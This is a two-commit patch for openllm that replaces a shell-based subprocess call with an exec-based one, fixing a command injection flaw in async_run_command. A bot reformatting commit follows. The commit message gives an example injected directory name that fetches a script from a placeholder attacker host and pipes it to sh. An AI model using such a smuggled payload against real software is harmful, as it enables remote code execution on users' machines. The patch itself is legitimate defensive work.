From 8636cc8e1fa692e7977c6a3f27548c7c41c1c5e8 Mon Sep 17 00:00:00 2001 From: Anai-Guo Date: Mon, 6 Jul 2026 18:17:35 -0700 Subject: [PATCH 1/2] fix(security): use exec instead of shell in async_run_command (CWE-78) async_run_command launched model servers via asyncio.create_subprocess_shell(' '.join(cmd)), joining the argv list into a single string handed to a shell. The bentoml tag embedded in that command is derived from cloned-repository directory names (bentoml_tag = f'{path.parent.name}:{path.name}'), which are never sanitized. A model repository whose directory name contains shell metacharacters (e.g. '1.0;curl attacker/x|sh;echo') therefore causes arbitrary command execution when a user runs 'openllm run' against it (OS command injection, CWE-78). Switch to asyncio.create_subprocess_exec(*cmd), which passes the argv list directly to the OS without a shell, so metacharacters remain literal tokens. This matches the synchronous run_command, which already uses the list-based subprocess.run(cmd) form. No behavior change for legitimate commands, which are always plain argv lists. Signed-off-by: Anai-Guo --- src/openllm/common.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/openllm/common.py b/src/openllm/common.py index c3646ba69..76230aba3 100644 --- a/src/openllm/common.py +++ b/src/openllm/common.py @@ -422,8 +422,14 @@ async def async_run_command( proc = None try: - proc = await asyncio.create_subprocess_shell( - ' '.join(map(str, cmd)), + # Use exec (argv list) rather than shell to avoid interpreting shell + # metacharacters in command arguments. Values such as ``bentoml_tag`` are + # derived from cloned-repository directory names, so a directory named with + # shell metacharacters (``;``, ``$()``, `` ` ``) would otherwise execute + # arbitrary commands (CWE-78). This mirrors the list-based, shell-free + # ``subprocess.run`` used by the synchronous ``run_command`` above. + proc = await asyncio.create_subprocess_exec( + *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, cwd=cwd, From bf4af611e526ca8446f9c10382841259bca866cb Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Tue, 7 Jul 2026 01:18:40 +0000 Subject: [PATCH 2/2] ci: auto fixes from pre-commit.ci For more information, see https://pre-commit.ci --- src/openllm/common.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/src/openllm/common.py b/src/openllm/common.py index 76230aba3..b04994b72 100644 --- a/src/openllm/common.py +++ b/src/openllm/common.py @@ -429,11 +429,7 @@ async def async_run_command( # arbitrary commands (CWE-78). This mirrors the list-based, shell-free # ``subprocess.run`` used by the synchronous ``run_command`` above. proc = await asyncio.create_subprocess_exec( - *cmd, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=cwd, - env=env, + *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, cwd=cwd, env=env ) yield proc except subprocess.CalledProcessError: